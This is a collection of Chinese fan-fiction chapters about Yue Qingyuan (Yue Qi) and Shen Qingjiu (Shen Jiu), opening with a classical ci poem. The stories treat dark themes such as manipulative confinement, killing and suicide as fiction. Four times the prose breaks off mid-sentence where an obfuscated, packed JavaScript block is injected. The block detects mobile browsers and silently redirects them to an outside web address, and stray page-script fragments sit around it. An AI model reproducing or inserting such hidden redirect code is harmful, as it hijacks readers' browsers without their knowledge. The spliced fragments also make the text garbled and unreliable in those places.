《八声甘州·对潇潇暮雨洒江天》 对潇潇暮雨洒江天,一番洗清秋。 渐霜风凄紧,关河冷落,残照当楼。 是处红衰翠减,苒苒物华休。 唯有长江水,无语东流。 不忍登高临远,望故乡渺邈,归思难收。 叹年来踪迹,何事苦淹留? 想佳人妆楼颙望,误几回、天际识归舟。 争知我,倚栏杆处,正恁凝愁! 50.〈黑化骨科向.七九〉年上&年下 年上(七主动) —— 七正常弥补、满脸愧疚:“小九……” 九、厌烦:“滚。” —— 七满身伤、找灵宝:“我错了,这个或许能改善根骨。” 九、拒绝道德绑架:“不需要。” —— 七与其他人勾心斗角回来、露出心累疲惫:“正道之人,也不过批个假面。” 九、面上不变、默默认同:“哦。” —— 七外出,给九带伴手礼、与当月资源一起送过去。 九:默默挑出,放到角落。 —— 七被人暗算(也可能自己卖惨):“掌门不好当,小九让我躲一下。” 九:屏蔽所有人,丢治疗资源,表面冷酷离开,神识悄咪咪关注周遭。内心:‘不能让他死我这里’ —— 七与九外出,面对其他人献殷勤:“家弟还小,带他出门逛逛。今日不谈公事。” 九:虽然不爽当挡箭牌,但没当众甩脸走人 —— 九被魔物所伤,七伤势更重:“小九,去帮我取些水来。” 九:紧盯。 七:我不会偷跑打怪的。 九:“哦。”转身离开。 回来:果不其然的把周围魔物都打完了。 —— 九受伤。 七:“我闭上眼,你后背需要上药。” 九:…… 又不是黄花大闺女。 “不用。” 七:“那你忍着点,这个药最温和,效果也好。” 九:…… 他又不是受不得疼的孩童。 —— 七与九遇见被打得哭啼的少年。 七:“小九可想要带他离开?” 九:“没用的玩意。” 七:“如果你过去摸摸他的头,带他离开,他会感激你一辈子。” 九:“将希冀递交出去,蠢得要死。” 七:“小九……”(默默低头) 九(瞥一眼):“不是说你。” —— 七被暗算,(自下春毒):小九,帮我护法,不要让旁人进来。 九:走到门口,关门。 七:故意发出声响。 九:…… —— 年上这个剧情,就是处心积虑‘诱导’呀~ 借对方的关注,吸引对方的视线与精神,紧接着一步步蚕食对方的生存空间。 卖萌装可怜,令对方……逃不出去。 ———— ———— 年下(九主动) —— 七:递上一堆资源补偿。 九:推开:“滚。” 七:“小九喜欢什么?” 九:“岳掌门离我远点。” 七:…… 实际:九:赔偿这种东西,收了之后,对方的心理就被填补,所以不可能让他‘平衡圆满’。 —— 开会。 七:“那就散了吧。清秋师弟留一下。” 九:“?” 七:“这是xx遇见的,小九可喜欢?” 九:这个拿起来看一眼,丢掉。那个拿起来看一下,丢掉。接着全被丢掉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307770|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冷笑:“看来岳掌门这次很闲。” 七:“不是……”是想给你带点什么…… 九:“不必。” 实际:九故意拿着七递上来的东西,吸引七看向自己的手,接着又‘无情抛开’。 —— 打怪。 七:“小九!” 九:“滚远点”影响劳资发挥。 九受伤。 七:慌慌忙忙找一堆药膏:“我替你上药?” 九:冷漠看一眼:“不用。” 七:紧张、关心又不知道怎么做,将妖物全杀了。 实际:受伤是真,但程度不高。让对方担心受怕是真,让对方‘亲近’不可能。 —— 遇见乞丐。 七:想上前拯救。 九:“呵。” 七:弱弱的解释:“小九,我只是……” 九:“慈悲心肠?” 七:“不是的……我……” 九:“救赎戏码?” 七:垂眼、被打击 实际:九:总有些糟心的玩意哭哭啼啼希望被别人可怜,难道都不知道要自己抵挡命运支配么? —— 七陷入梦魇。 九:都过去的事情,怎的还走不出来? 被伤害的都站起来了,造成伤害的刽子手,反受到良心谴责? 既如此,合该被我利用压制。 七:“小九,我会尽快赶回来的。” 九:“那你可要好好记得,欠我有多少。” 七:“我欠你的,用命都填不清。” 九:“所以你这条命,是我的。” 51.黑化九X白月光七 黑化九X白月光七 岳七实在太适合当死掉的白月光了。 所以……岳七啊,你应该活在沈九的心里,而非他的身边。 ——正文—— 我从未走出那一夜,但或许——他早就已忘却。 可是,凭什么我要被困守在哪里,另一人却能潇洒从容,登临苍穹之巅? 这么多年来,我不断记忆着他的容貌与事迹,我怕我忘记,也怕我遇见而认不出。 我已身染尘埃,而你,是我心中永远不会被污染的白雪。白雪会覆盖所有肮脏之物,而你是我的心头雪。 只是——你为何要活着呢? 世间,需要一场大雪。 这场雪过后,全世界都会洁白无瑕,每个人都会毛绒绒的,像只傻熊一样笨拙行走。 —— 我将希冀赠与旁人,可惜没有回音。 直到我看见,那个以为会死的,结果过的比谁都好,而且完全没有失忆的人。 心尖雪,变成了心中血。 是了。‘救人者’、‘被寄予希望者’,是可以随便忘记的。 那么。 你为什么要记得呢。 为什么要活着呢。 又为什么,要围绕在我身边,叽叽喳喳的述说愧疚呢。 对。你有苦衷,并且还想对我述说愧疚,弥补缺陷。 你是光明磊落的掌门,是温厚体贴的兄长,是被沈清秋疯狂嘲讽也无所谓的——岳清源。 他该怨谁? 他该恨谁? 他该将心中的恶意与愤慨,朝向谁? 论过往。乞丐沈九逃不出,乞丐岳七就能将他‘捞出来’吗? 论现在。沈清秋对岳清源的不喜人尽皆知,可岳清源对沈清秋的偏爱与照顾,也是众所周知。 论义气。沈九为了等待、画地为牢多年,岳七为了弥补,死于万箭穿心。 岳七啊。岳七啊。 你为什么,不能‘自私’一点,最后不要为了沈清秋赴死。 你为什么,不能‘虚伪’一点,不要处处为沈清秋善后收尾。 你为什么,不能‘伪善’一点,让沈清秋抓住一些把柄,稍稍的觉得大家一样坏? 你为什么——非要那么光明正大、那么真诚无私、那么……将性命砸进本可以不参与的战况中? 你知不知道,这样的你。 令沈清秋和沈九,都无法、没办法去‘指责’啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311610|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他没有怨恨的空间啊。 他没办法面对如此‘大义凛然’的掌门啊。 他的愤恨与失望、挣扎与煎熬,因为对方过于正直的行为而显得那么无病呻吟—— 最后沈清秋只能被迫接受这种萦绕于身的痛苦,只能恨自己。 是啊。 谁让沈清秋,就是个尖酸刻薄、恶劣寡义的烂俗小人呢。 谁让沈九,就是个半路出家、未遇名师,得到老峰主赏识后也改不掉市井之气的乞丐混混呢。 谁让—— 即便是书读百卷、修身养性多年,看见相似的人和物,还是压抑不住内心的恶念,想让洛冰河体验一番自己的痛苦,所以故意忽视、打压、责骂…… 可惜,洛冰河与沈清秋不同,敢欺压主角,回旋镖只会伤到自己。 所以沈清秋啊。 你自作自受,活该啊! 哈哈哈哈哈哈哈哈。 你们都是君子好人,唯我一个恶毒小人,所以我就该将身躯让出,令其他人踩着我的过往与成就,去谱写惊心动魄的仙魔恋。 真好。 真好啊。 沈九这种存在,确实— 没有人该接触啊—— 52.七九的两种走向之黑化向 如果沈清秋因做了什么导致了不好的结果—— 冰九与七九的最大区别点: 冰哥一定是讽刺+阴阳怪气,外加强势冷漠的表态:‘你既然成为阶下囚,就要好好听话。要不然,呵呵。’ ‘沈清秋,他们会变成这样子,都是因为你呀。要是你早点听话,若是你早点屈服,如果你求他的话……’ 所以冰九往往走强制反抗互杀偶然得知xx心态改变但嘴硬为对方挡刀开始理解改变行为相互理解。 七九则分为两种。 第一种,亲情向。七一方面苦口婆心的与九问询,一方面尽可能将事态降成最低。比如柳清歌之死,若非洛冰河爆出来几乎都没人知道。 第二种,黑化向。七一方面完美PUA,一方面用‘我想办法给你解决、但是呢先不要露面’的理由将沈清秋囚禁。 其中,亲情向里,七的出发点是‘不想让九受到伤害’、‘以最大的能力保护九’,以及……来自兄长对逆反幼弟的关心和照料。 所以岳七会说: “我这个幼弟性情不太好,但心是不坏的,我替他给你道歉了” “那个,唉,我这个弟弟呀,他老是犯一些小错,但是没关系的,我会平等的给大家进行一些补助和补偿的,你们不要歧视或孤立他呀。” 而身为叛逆九,当他看见唠唠叨叨的老妈子岳七又因为各种莫名其妙的事情去‘自以为是’的道歉,完全不看究竟谁对谁错,自顾自去‘解决事情’,心里恼火又无奈。 他想要偏爱不假,但是不想要对方不问青红皂白的‘自以为完美解决’! 所以本就看不顺眼岳七的沈九就更逆反了:老子不要你管;别TMd给老子装好人;你给老子的滚;你不要跟我说话,老子不想看见你! 总而言之,如果是亲情向的话,温情与纠结并联,关心与嫌弃同在,在亲人般的相处里,简直不要太现实。 其二,黑化向里,只要有一个确定的‘合理囚禁’理由,剧情就很好推进。比如: ‘我不是想软禁你,只是现在外面对你的风言风雨很多,我不想让你受到伤害’ ‘小九,外面太多人对我这个位置有想法,这次任务你能陪在我身边吗?’ ‘清秋师弟,出门正好遇见xx丹,只是此丹药需先行调养心境,闭关之物已备好,令牌在此。’ 我从来没有‘囚禁’你呀,我只是想让你在我身边,在某些地方好好呆着而已。 最真实的谎言,是将自己也骗过。 最难辨的谎话,是展露了一半的事实。 七:“那些狂妄自大的人妄想从我的花圃把最鲜艳的花摘走,伤害摧残。” “而我,不仅要将那些敢进来的人驱赶出去,还要小心翼翼的保护着我最喜欢的鲜花,不让他沾染外面的一丝风雨尘露。” —— 在这些故事里,九因为身份的原因,从来不可能存在‘风平浪静’的生活。 所以说,七只需要趁最乱的时刻,让九去‘面见残酷的世界’,等九被生活所伤,立刻以深厚、平和、妥善处理一切的姿态出现。 因心怀自由而想出去,却被狂风暴雨所伤的鸟儿,自会回到关着他的牢笼里,不愿出门。 至于被温水煮的青蛙突然逃出,面向其他人‘申诉’时—— 一直以光明伟正、敦厚温良形象出现的岳掌门,只需轻微的歉意微笑: “我的故友他遭受了非人的虐待,现在神志不清,会发疯,会胡言乱语。对不起,给大家添麻烦了。我会照顾好他的。” 谁会相信——最为亲近之人;永远会为了他而战之人;愿意将后背和心脏一起挖出来的人交给对方的人;无数次为了对方善后而道歉的人,会将对方视为自己的禁脔呢? 而岳七能有什么恶劣心思呢,他只是——不想让自己备受挫折的幼弟,继续那么累、而已。 ———————————————— 以守护为名,将你困在怀中 假设: 沈清秋为救柳清歌武功全失,最终还是没救活对方。短暂‘失忆’之后出灵犀洞,正巧遇见魔族入侵。 他不知道为什么自己灵力用不了,但身为峰主的本能,让他手段尽出,保护身后的弟子辈。 只是可惜,尽管动用诸多底牌,沈清秋险胜一局之后再无余力,即将跌下擂台。 岳清源及时赶回,以‘静养’之名,将沈清秋‘软禁’在穹顶峰。 ——正文—— “呵!”“哈!”“啊!” “吵死了!” 沈清秋再次突破失败,心情极为糟糕。当人心情不好的时候,就会疯狂找环境(别人)的差错。 故而,沈清秋决定去看一下,究竟那个闲的蛋疼,发出这样扰民的声音。 真好。是某个只会斜眼看人的家伙啊。 这个姓柳的玩意极为狂傲,仗着出身好、家境好、天资好、气运好,没事就喜欢冷刺别人,觉得其他人的心思不如他纯粹,修为自然不如他精进。 谎言不会伤人,真相才是利刃。柳清歌说的一直都是事实,所以出言才那么痛。其他人没有柳清歌那般的幸运,自然要将一部分心思用来平衡人际关系,抢占上位者关注、争夺机缘—— 这其中的酸楚,身为顺风顺水、被资源堆积的天之骄子柳清歌,自然是体会不到的。而这个从没有了解过这些的单纯家伙,只觉得其他人不如他认真。 其他人在对方的‘直言不讳’和‘武力压制’之下,只好挂起礼貌微笑,道一句:“柳公子真乃修真界的希望。”接着为对方让开一条道路,悄咪咪的远离。 沈清秋……则不行。 首先多年来沈清秋的人生准则就是‘万物唯有争抢才能赢得’,所以他要赢,而且要赢过所有人。既然常规路子打不过柳清歌,那就用歪门邪道——只要最后结局是正确的,道路并不重要。 这就导致——无形中被排挤出去的柳清歌,拥有了一个没事就可以对打的陪练。 柳清歌自然是开心的,沈清秋……在没打赢(或打死)对方之前,也绝不可能罢休。 但柳清歌说话实在是那疼往那戳,一句‘野路子’真是令沈清秋与对方打了又打,偏生沈清秋还花样尽出也打不过,真是气的要死要活。 如今,修真界的希望、冉冉升起的太阳走火入魔至发狂,还偏生被一贯与对方不对付的沈清秋遇见。 沈清秋—— 是弄死对方呢,还是悄咪咪使个坏弄死对方呢? ———— 沈清秋不是好人。 这个是他对自己的评价。毕竟修真界哪有真正的好人,全都是唯利是图、尽量保全自己的同时想方设法牟利的人。 就算是对一直照料自己的岳清源,沈清秋也存着一份利用之心;更别说将对方当成大管家照料一切,没事给予些赏赐拴住对方的明帆;以及当成宠物般溺爱、用对方的活力来暖自己的宁嘤嘤。 沈清秋对自己的潜在心思了解得极为透彻,他不算好人,亦不算罪恶滔天到罔顾底线之人。虽然他已过了将希望全部交给别人的时期,却难免还是心存部分希冀。 所以——他才会在柳清歌的身上付出那么多的时间和精力,亦……在好心助柳清歌却被误解后,决绝的避开所有可能会建立的亲密关系。 ———— 大抵是他还存在该死的良心吧。 沈清秋又一次决定救人。 只是很可惜,救人有时比杀人还困难——沈清秋拼着修为全失的风险以禁术压制住对方,却被走火入魔的柳清歌狠狠推开。 柳清歌的眼球被猩红血丝占据,乘鸾剑毫不犹豫的对着沈清秋咽喉刺来。与之同时,柳清歌的铁拳挥击的如同流星雨,令沈清秋避无可避。 人总归是自私的。 在这种情况下,沈清秋不可能为了‘救下’柳清歌而放弃自保。 所以……沈清秋回击了。 两人一青衣,一白衣。青衣尽可能的闪避与呼唤,白衣拼尽全力的爆发。 最终,一招不慎,沈清秋被柳清歌‘抓’在手中。沈清秋的咽喉被人锁住,看着眼前这个癫疯发狂的野兽,心中莫名的笑了一下。 救人反而把自己搭上,多有趣? 他们两个都被人不喜,受人排斥。 只是柳清歌压根不在乎周遭,良好的家世与一贯顺遂的生活给予他无与伦比的高傲,即便是众人皆‘敬而远之’,柳清歌也能凭一己之力排挤所有人。 沈清秋却不行。 沈清秋的生活过于颠簸,身后也没有能为他解决一切、给予足够安全感的家族,所以他敏感又冷漠,想付出好意却总会被误解。继而一步步打压自己,忍不住自厌自弃。 就在沈清秋绝望又平静的闭上眼睛,打算与世长辞时—— 修雅自动护主,一剑插在柳清歌的心口。 最终死去之人,是天之骄子、修真者翘楚、战力巅峰者,柳清歌。 ———— “哈哈哈哈!” 沈清秋看着柳清歌死不瞑目的样子,笑的癫疯:“柳清歌,柳清歌!” 他看着自己拼尽全力、一丝灵力也使不出来的双手,最终重重的捂在脸上,流出一滴血泪。 他,总算是实现了‘势必要打赢/杀死柳清歌’的愿望了,不是吗? ———— 沈清秋精神恍惚出门的时候,被一帮弟子围住了。 他并不喜欢其他人距离自己太近。但现在修为全失、血液也由于禁术原因损失大半的情况下,没办法以灵力隔开其他人。 乱哄哄的声音在耳边响起,大概是说着:魔族突然闯入,还炸断了其他通路,现在在山上的那些仅剩的弟子们被魔族追杀的极为狼狈,只好来灵犀洞碰运气,希望喊几个大佬救援。 只是没想到,出来的却是浑身是血,精神状态看起来极差的,平日里风评也很差的——清静峰之主。 不过死马当成活马医,既然是峰主,必然有各种手段,再不济也比他们要多扛几下。死道友不死贫道,还真有人能指望弟子辈去撑场子,将外敌打退不成? 这些小心思,沈清秋不动脑子都能想明白。可即便是知道,他也会站出来。 没什么太高尚的原因,无非是食君之禄、为君分忧罢了。苍穹山养他那么久,他为苍穹山护住下一代,也算是回报。 至于其他弟子究竟怎么想,沈清秋也无所谓。 他现在拿不起剑也使不出灵力,连需要燃烧血脉的禁术大招都放不出来,只能以各种三教九流的招数迎敌。其姿态很是狼狈,动作也并不美观—— 但,他依旧将魔族的几个高端战力的头颅,留在了擂台之上。 既然来了,哪有不带点见面礼的? 既然做客,哪能不体会下主人的热情好客? 既然想走,怎么能不带些‘土特产’? 这些,深谙儒家礼教的沈清秋,必然是要给客人宾至如归的体验的。 只是有些不巧,就在沈清秋打算更进一步的时刻,他的眼前突然漆黑一片,身影亦是摇摇欲坠。随着‘当啷’的响声,修雅剑跌落于地,沈清秋如枫叶般,向后飘去。 ———— 岳清源本该坐镇首位,与其他三派共商魔族之事。只是他心神不宁许久,虽不知具体原因,却还是以最快速度乘坐传送阵回去。 而就在他站在穹顶峰门口,看见那个向下跌落的身影时,后怕与惶恐一瞬间将他包裹——岳清源一直躁动的心,也终于落在了实处。 他只是趁沈清秋闭关出个门,这家伙就能把自己搞成这个样子? 在擂台之上力竭,一身青衣染成血红,修雅都掉落在地,其人本身更是虚的连呼吸都近乎没有。 岳清源将对方搂在怀里,当确定沈清秋没死之后,紧张和害怕开始褪去,属于老母亲的深切关怀和一转眼就要玩自尽的不满涌上心头。 岳清源开始反思,他是不是将沈清秋宠得过于‘不懂事’了些,这满身的血液与伤痕,苍穹山的那些弟子哪里需要他如此拼命?沈清秋自身才是最重要的,他怎么就不懂? 天知道,当岳清源看见沈清秋向后倒去的时候,他的心脏和呼吸都要停止。他有多害怕,怕自己接不住对方,怕他来迟一步? 秋家的事情,他已经晚了一步。 如果这次还错过……岳清源不知道要怎么样才能面对沈清秋。 岳清源将沈清秋牢牢的拥在怀中,随手招几个人去处理烂摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323152|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,转身向木清芳处飞去。 沈清秋总是在怨恨他。 怨他为什么不去寻他,恨他为什么活的这般好。 可是—— 如果岳清源不往上爬,普通弟子岳七,能做什么、改变什么? 如果岳清源不是穹顶峰的首席,怎么带沈九走小道入清静峰? 如果岳清源爬不到苍穹山掌门,没办法镇压所有宵小,沈清秋又如何安坐清静峰之主的位置?如何,为沈清秋遮风挡雨? 这些零碎心思,沈清秋不是不懂,岳清源也知道对方明白。 只是他们总是要怨恨的。 如果沈九不恨岳七,那就要恨自己。 沈清秋的人生已经足够颠簸,与其让他将人生选择下的悲剧归咎于‘沈九作下的抉择’,还不如简单粗暴的归为‘是岳七辜负了我的信任’。 所以—— 岳清源看着满身溢血的沈清秋,轻柔的用脸颊蹭了蹭对方。 小九啊,去恨着七哥吧。 一切都是七哥的错,你一直是无辜的。 那些对你不好的传言,是七哥镇压力度不够狠。 那些对你的恶意揣测,是七哥的手腕不够铁血。 那些因外人避让而缺失的感情,七哥会用别的方式替你弥补。 你从来都没错,合该拥有轻快明媚的未来。 ———— “岳清源,你软禁我?” 沈清秋很不满,眼眸里写满了对强势家长的逆反:“离我远点!” 岳清源依旧是那副温厚的神情,身后的阵法却堆积了一层又一层:“小九,你受伤很严重,等你修养好就能出去。” “滚!”沈清秋拒绝PUA:“我可以回清静峰养伤,清静峰的地界谁敢管我?” 岳清源表情极为诚恳,手中不停摸出各色沈清秋喜爱的小玩意,耐心哄骗:“有我看着,他们不会出事。” “……” 沈清秋果断察觉出几丝不对劲。如果按照平常,岳清源绝不可能将他留在这里,所以,外界一定发生了什么。 “外面怎么了。” “呃……”岳清源呆愣了一下,眼里闪过难堪和极快被压下的为难:“没事……” 沈清秋的观察能力很强,他接收到了岳清源的欲言又止和想要隐藏,直接打直球试探:“那就让我出去。” “不行。”岳清源的回答很快,一点反驳机会也不给。话刚说出口,他就极快的‘反应’过来,闭了一下眼睛调整状态: “清秋师弟,我这次外出寻到一些对修炼极有成效的灵果,你这段时间试一下?” “我问外面如何了。” “清秋师弟,这是我搜集的孤本,你之前不是吩咐人去四处寻找,现存的都在这里了。” “外面状态如何?” “清秋师弟……” “状态如何?” 岳清源努力拉扯话题,可惜沈清秋不吃那一套,只咬定了外面一定发生了什么事,要求岳清源告诉他。 岳清源实在拗不过他,只好一五一十道: “柳师弟惨死灵犀洞中,魔族入侵后弟子级别死伤惨重。最要命的是,有弟子指出,是清秋师弟你杀了柳师弟,引入魔族。” “……” “!!!” 说沈清秋杀了柳清歌他承认,可沈清秋引入魔族还差点自己交代在哪里,那个傻子能信? 但问题是,其他人质疑沈清秋为何不用杀伤性的招式,也不曾动用灵力,更是‘手段尽出’的情况下,只不痛不痒的杀了几个魔族…… 这些东西,无人能回答。 无论是‘残杀同门’还是‘内外通敌’,都能让沈清秋剥几层皮、去半条命的罪名。 沈清秋狠狠的将随手拿起的布锦丢在地上,整个人像是炸毛的狸花:“所以你将我困在这里,告诉其他人我还未醒,将事情压下了?” 岳清源眼皮略微抬了一下,眼里有着明晃晃的偏袒:“即便是他们都知道,只要我说你没修养好,你就是病患。” 沈清秋原本还想刺对方两句,却在撞进岳清源的眼神时,仓皇的挪开了眼。 这人怎么这样啊。 他原本是打算无论如何都要出去的,甭管是什么处罚,哪怕是以命相赔,他也认了。 可岳清源的态度实在不正常,他不是最喜欢端着‘公正严明’‘一视同仁’的样子忽悠其他人吗……怎么偏偏轮到自己,总是会破例? 沈清秋不禁回想起他每次与人干架,岳清源在得知的第一时间总会出现,然后以最快的速度将事情解决,带他离开。 之前还觉得这家伙怎么如此之闲,现在想想……分明是派人监督才对! 尤其是,有些事情,本来是其他人的过错。岳清源总会莫名其妙的给对方赔罪道歉,砸上一堆资源,只要求对方不能将事情说出去…… 这些沈清秋之前觉得小题大做、完全不讲道理的事情,现在去思考,却都充满了一个内核——不能让他们影响到沈清秋的心情和风评。 这…… 沈清秋不是草木,细思之下,倒也不再要求必须要出去。 只是他对岳清源的感觉,更加复杂了。 虽然说岳清源的解释与苦衷沈清秋完全不在乎,也不可能因几句话而改变。 但是—— 岳七为什么不对沈九解释呢?哪怕是谎言,沈九也会信的呀…… ———— 岳清源离开的时候,紧绷的肩膀终于松开,整个人要轻松许多。 他对沈清秋说的话没有一句是错的,真正的事实也确实茹她所说。 只是岳清源的话语之中,稍微混淆了一丢丢的因果,拼接了几个语句。这种典型的蒙太奇手法,可以在‘全部都是真话’的情况下巧妙的展现出另一个故事。 现在的沈清秋就像是刚进入笼子的鸟雀,满心都是对自由的渴望。只是他的羽翼还不够完整,暂时还没有鹰击长空的能力。 等—— 岳清源一束束剪除对方生出的乱翅,一条条捋顺对方炸起的倒毛,一点点的入侵对方的生存空间。 岳清源有信心,能牢牢的与对方荣辱与共,即便是打开笼子,沈清秋也不会选择离开。 53.七九两种走向之亲情向 七九亲情向.拔剑 看到的某个七九图片,萌发的一个脑洞: 如果岳七不曾中最后的埋伏、也未曾万箭穿心而死,反而是为了沈九向冰哥拔剑……双方对打 ——正文—— 岳清源死了,死于万箭穿心。 只是他心中挂念,逃过了鬼差追捕,以魂魄之体去见想念之人。 可是—— 眼前这个肢体残缺不全、精神疯癫魔障、对着一把残剑又哭又笑的血团子。 令岳清源生出一丝不甘与后悔。 他的死状并不好看,幸而修真者虽超脱凡俗,但并不能看见灵魂,要不然岳清源也不敢离沈清秋那么近。 只是岳清源没想到的是,沈清秋‘看见’他了。 原本癫疯的人,眼神突然凝结于岳清源所在的空地,眼角无意识的聚起水雾,一颗豆大的泪珠悄然滑落,无声无息。 虽然沈清秋的眼泪没有半分声音,却像是在岳清源的心头点了一把火。 这滴泪是如此的灼热,如此的滚烫,如此的——像浓硫酸一样腐蚀一切。 某种无可言说的心疼与酸楚从鼻头升至眼前,令岳清源大步跨过去,下意识用食指指肚为对方拭去泪痕。 然,阴阳两隔、人鬼殊途,当岳清源的手掌穿过对方时—— 树欲静而风不止、子欲养而亲不再的参差感瞬间涌现,他再也没有与对方‘接触’的机会。 他已死亡。 他是魂魄。 而冰冷无形的鬼魂,是无法触碰尚在人间的活人的。 直到此时此刻,两人生死离别、再无交集的可能。 岳清源才后知后觉的发现,他早就后悔了。 而当他看见‘洛冰河’用残剑刺激沈清秋,无缘无故责打、对沈清秋施加刑罚时,岳清源心中的愤恨令他险些逆转为厉鬼。 洛冰河。 洛,冰,河。 洛,冰,河! 若有来世,若有机会,我必杀你! 岳清源看着沈清秋一点点变得沉默寡言,一日日熬的心神憔悴。终于有一天,沈清秋寻到无人看管的间隙,成功自裁而亡。 只是—— 岳清源在忘川彼岸等了很久,很久。 也不曾看见过对方。 四方奔波打探…… 原来,灵体不愿投胎、魂魄不曾有求生意识的鬼,是会主动魂飞魄散,再无踪迹的。 ———— 岳清源还是岳七的时候,曾一时心急,走火入魔而以命入剑。 只是那时的执念是为了修为。 而那么着急忙慌的提高修为,是为了去带一个人离开。 既然他能为了修为将命交给灵剑,现在又如何不能为了重来一次,将灵魂献祭? 无非是烂命一条罢了。 无非是燃烧灵魂罢了。 无非,是用自己的来世,拼一个可能性罢了。 既如此,有何不可? ———— “既然有疑惑,岳掌门又何须多言?” 岳清源尚未睁开眼睛的时候,就听到这么一句话。 熟悉的音腔,朝思暮想的语序,从来得理不饶人、以尖刺无畏应对万事的态度。 是他。 岳清源猛的睁开眼,眼前是肢体完整、衣衫整齐的青年。他的身形被月光所笼罩,柔和的银辉为他披上一层朦胧的薄纱;可他的脸却藏在阴影里,只露出一双满是冷厉和不屑的眸子。 是了。 这个时间点,洛冰河以‘沈清秋残杀同门’的罪名将沈清秋困于幻花宫水牢之中,岳清源急于为对方脱罪,问出了那句‘柳清歌是不是你杀的’。 他的本意是想找寻有没有破局之法。 结果——却是将沈清秋远远的推开。 他怎么就那么蠢?! 这件事在苍穹山已问过一次,现在又拿出来问一次,究竟脑子被什么迷住了,这种无脑的话语也能出口? 这件事,无论沈清秋‘有没有杀人’。苍穹山不介入,有也是没有。苍穹山其他人介入,没有也是有。 一切,还不是全在‘苍穹山保不保’之间? 苍穹山若是想保,这就是‘家务事’;苍穹山若是不想保或默不作声,那就是‘弃子’。 可上一世岳清源做了什么?他傻乎乎的问出那句话,然后‘备受打击’的离开,设下重重隔绝阵法,独自将自己关在灵犀洞之中…… 待他整顿好心情出来…… 修真界,已大乱。 而他接到的血书…… 与那双腿。 则是令苍穹山直接失去最高领导,令修真界一举灭亡的, 阳谋。 ———— “小九。” 岳清源眼含热切的将对方细细扫了一圈,确定对方没有缺胳膊少腿,也没有被施加乱七八糟的刑罚。 心中不由感到庆幸。 “岳清源,沈清秋这种东西,你离得越远越好。” 对面的青年脸上满是不耐,言辞之中也多是逐客令,像是完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329738|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想让他多待似的。 可这样‘想方设法撵自己离开’的青年,在岳清源的心中,却突兀的想起某些记忆碎片。 —— 两个少年郎隔着一道柴门许下约定,清澈稚嫩的嗓音中,充满对未来的期许: “七哥,那我们许下约定,待你学成归来,定要带我离开!” —— 两位英年才俊满脸是血的相对而立,那个本该等待救援的孩子独自爬出深坑,歪歪扭扭的艰难生长: “岳七,你为什么活着?” 残忍又恶毒的话语下,是被掩藏极深的失望:‘既然活着,为何不来找我?’ —— “沈清秋,一介掌门为你而死,你可真荣幸啊。” 青年的眼神迷茫而疑惑,神情半哭半笑,动作癫狂而杂乱。一滴清泪流下,砸在身旁的鬼魂心中,灼热而滚烫。 —— 岳清源挂起微笑,心中已决定无论如何要以苍穹山保下沈清秋。 只是在此之前,他要将洛冰河狠狠打压,捏死在手掌心。 敢对他的珍宝下手,必然要承受他的怒火。 可是令他没想到的是,就在他站起来的一瞬间,洛冰河已出现在他面前。 “岳掌门,近来可好?” 岳清源压抑着立刻将对方弄死的冲动,皮笑肉不笑的打量着对方:“果然如清秋师弟所说,是个犯上作乱的畜牲。” “!!!” 洛冰河自无尽深渊爬出后顺风顺水,除了在沈清秋面前,哪里被人如此讽刺过? 当即变了脸色,眼神微眯的回道:“岳掌门何出此言?” “编排自己的师尊,将往日恩师锁于牢狱之中,说你是畜牲都侮辱了猪狗!” “!” 洛冰河手中按着心魔剑,眼角从四周扫过,心中算计着要不要将此人留在这里。若是苍穹山的掌门死在幻花宫或与同属四大派的幻花宫闹矛盾—— 魔族那边,随时可以占领修真界。 所以,值得一拼。 洛冰河直接拔出心魔剑对战,口中言辞昭昭:“弟子虽受苍穹山恩德,但做人不能违背良心;岳掌门强词夺理,弟子唯有以血洗刷冤屈。” 岳清源看着颜色暗红、期间似是有鲜血流动的不详之剑,左手掐决,右手从后背拉出—— 洛冰河,前尘旧怨,今天都一并清算了吧! 